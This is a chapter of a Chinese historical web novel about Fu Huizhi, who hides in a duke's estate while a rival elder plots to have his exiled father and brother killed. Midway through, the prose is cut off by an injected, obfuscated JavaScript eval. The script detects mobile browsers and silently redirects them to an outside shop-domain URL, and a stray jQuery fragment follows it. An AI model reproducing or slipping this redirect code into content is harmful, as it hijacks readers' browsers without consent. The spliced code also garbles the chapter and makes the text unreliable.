37. 第37章
    邱平牵着傅徽之去坐下:“韦氏?她如何肯助你?”

    傅徽之忆道:“我故意让她看到我。她避开仆从来见我,第一句便问阿裕如何了。那时我便不再想问她为何忍心弃下阿裕。我只同她说我想进城。她没说什么,便答应带我进城。”

    邱平捋须道:“还是太过冒险。依你看,这韦氏可会告发你?”

    “云卿不知。不过,我未曾告诉她我将去何处。”

    邱平点点头:“罢了,好歹是进城了。但不能再用这法子出城了。元日后不久便是上元,圣上必不会因此事便会更改弛禁旧例。再者,城中平民家也搜过一回,圣上必以为你早逃出城了。你便在上元夜出城。

    “这几日你便住在此处。傅家出事后,第一个搜的便是我燕国公府,不大会搜第二回,你便安心住下。只是这府中之人不能全信,你的事越少人知道越好。府中后园有不少空屋,闲来也无人洒扫,委屈你住进去。”

    傅徽之颔首:“听凭叔祖父安排。若韦氏当真泄露我的行踪。我会在捕者搜查国公府之前,翻墙出府,绝不连累叔祖父。”

    “这说的是什么话?就算京兆府带人围了府邸,我燕国公府也有你藏身之处。”

    “叔祖父……”

    邱平打断他的话:“不说这些还未发生的事了。说来你对我燕国公府也熟,你便入后园左首第一间。我教六郎亲自送被褥、吃食与你。我与六郎也会时时去看你,你无事不要冒险出门。”

    “云卿知道。”

    …………

    月光下一位老者披散着白发,褒衣博带,走在自家府中通往卧房的路上。

    其后跟着一位中年人,高冠革履,微微低首。

    老者进屋后便是一通乱砸。

    中年人不敢拦,只得跪下,说道:“阿爹息怒啊。”

    除却案几上那座孤灯,各处烛火都被推翻。烛台还未坠地,烛火便为下坠而生的风所灭。

    屋中顿时暗下来。

    老者怒吼道:“本以为先帝去了,我族的日子便能好。不想圣上竟如先帝一般,偏心于傅家!”一声脆响,茶盏碎裂。

    老者声音洪亮,全然不似迟暮之人。“谋反之罪啊。圣上竟以流放,轻轻揭过。若换作你我,此刻恐怕早已身首异处!可恨。”老者抬脚踹翻几案,“可恨!”

    最后一座烛台滚落于地,其火竟未灭去。

    老者焦躁地在屋中走来走去。

    忽然他俯身拾起烛台,将蜡烛自蜡扦上取下,掷去烛台,再举着烛火凑近中年人。

    他在中年人面前蹲下,火光照亮了中年人微露惊恐的双目。

    老者缓了声气,甚至可以说是悄声说道:“流放途中,大有可为。圣上不杀他们,你我来杀。余下死士可有被安置妥当?”

    “妥、妥当。”中年人回道。

    “甚好。等傅翊流放,便将他们派出去。不要在京城附近动手,至少要到下一个州郡。”

    “阿爹。傅府中防阁、奴婢也都会流放。这些人都杀么?”

    “都杀!”沉默片刻,老者忽又摇摇头,“不妥、不妥。若流放之人皆死于非命,圣上必会起疑。将傅翊、傅梁与他们亲近之人都杀了,其余人便罢了。”

    “儿这便去联络城外死士。”

    “回来!”老者站起身,“险些忘了,傅修也是隐患。派些人助朝廷捉拿他。实在不便,杀了也无妨。”

    …………

    傅徽之整夜都没有燃灯。既然不能让其他人知道屋中有人,屋内便不能有火光。

    邱瑞送火炉来,也被他推拒了。反正这些天他冻得都有些麻木了。

    这些时日一会儿担心他父兄会被如何处置,一会儿担心坟茔之事,难以静下心来想整件事。

    他自然相信他的父兄,也了解他们的为人。不论是先帝还是当今圣上皆可谓对傅家不薄。他们有什么理由要谋反?这件事只能是诬陷。

    可他想不出傅家与何人有仇或是挡了何人的路。不说他父兄生平谨慎,轻易不得罪人。单说傅家一无兵权,二无财权,也不掌管人才选举。究竟会挡谁人的路?

    而且直觉告诉他,证据不仅是一封密信、一首反诗这么简单。他父兄应当知道更多。可惜大理狱守卫森严,也不能冒险让燕国公带他去。他不想连累邱平。只能在流放

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14258161|149279||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    途中设法与他父兄相见了。

    既然要在京城多滞留几日,正好先查些东西。下一回还不知何时才能回京。

    此事既是诬陷,那反诗、密信定是为人仿傅卫字迹所写。可先请燕国公遣人查城中以润笔为生者,其中或许会有善仿人字迹者。或许不是京城中人,或许其人并不以为人润笔为生,隐于民间,那便更无从查起了。

    若能见到反诗与密信其一,分辨所用的是何种纸、何种墨。应当也能查出一些东西。可惜邱平大抵也未曾见过。此事也只能等见到他父兄才能问清楚。

    最后傅徽之躺上床榻。这几日他几乎夜夜难以安寝,一合眼就不禁想起这些事。

    捱到几个时辰,天还未亮,傅徽之料快到上朝时分。干脆坐起身。果然没等多久,邱瑞便送了些朝食过来。

    傅徽之知道他们自己一般不会进食,怕殿前失仪。但担心他们走后无人送朝食给他,所以先送来了。

    傅徽之道声谢。邱瑞教他安心,便转身去了。

    傅徽之勉强吃了些,便只等邱平下朝。

    不知过了多久,听得有人叩门,傅徽之起身开门,看见了邱平。

    邱平不是空手来的,左手抱着一个孩子。

    傅徽之立刻反应过来是谁。他向前迈了一步,凑近去看,忍不住伸出手去抚。

    邱平看在眼里,笑道:“原本昨夜便想将阿裕抱来,可我去看时,他已睡了。”

    不想傅徽之却忽然慌乱地收回手,甚至后退几步。他摇首:“不能让阿裕看见我。”

    邱平怔了怔,随即明白过来他此番是为何。

    “你这孩子也是痴了。阿裕才几岁?见你一面,明日便忘了。”邱平迈步进屋,道,“你抱抱他。”

    傅徽之这才敢伸手去抱。

    傅徽之不是第一回抱孩子。他抱过傅知退的子女。头几回抱的时候,是他大哥教他如何去抱。抱着孩子时,他身子僵硬,一动不敢动。

    阿裕出生不久,他也经常抱,那时满心只有欣喜。

    如今抱着阿裕,看着那张与傅时文十分相似的面孔,是完全不同的感受。傅徽之忍不住眼鼻发酸。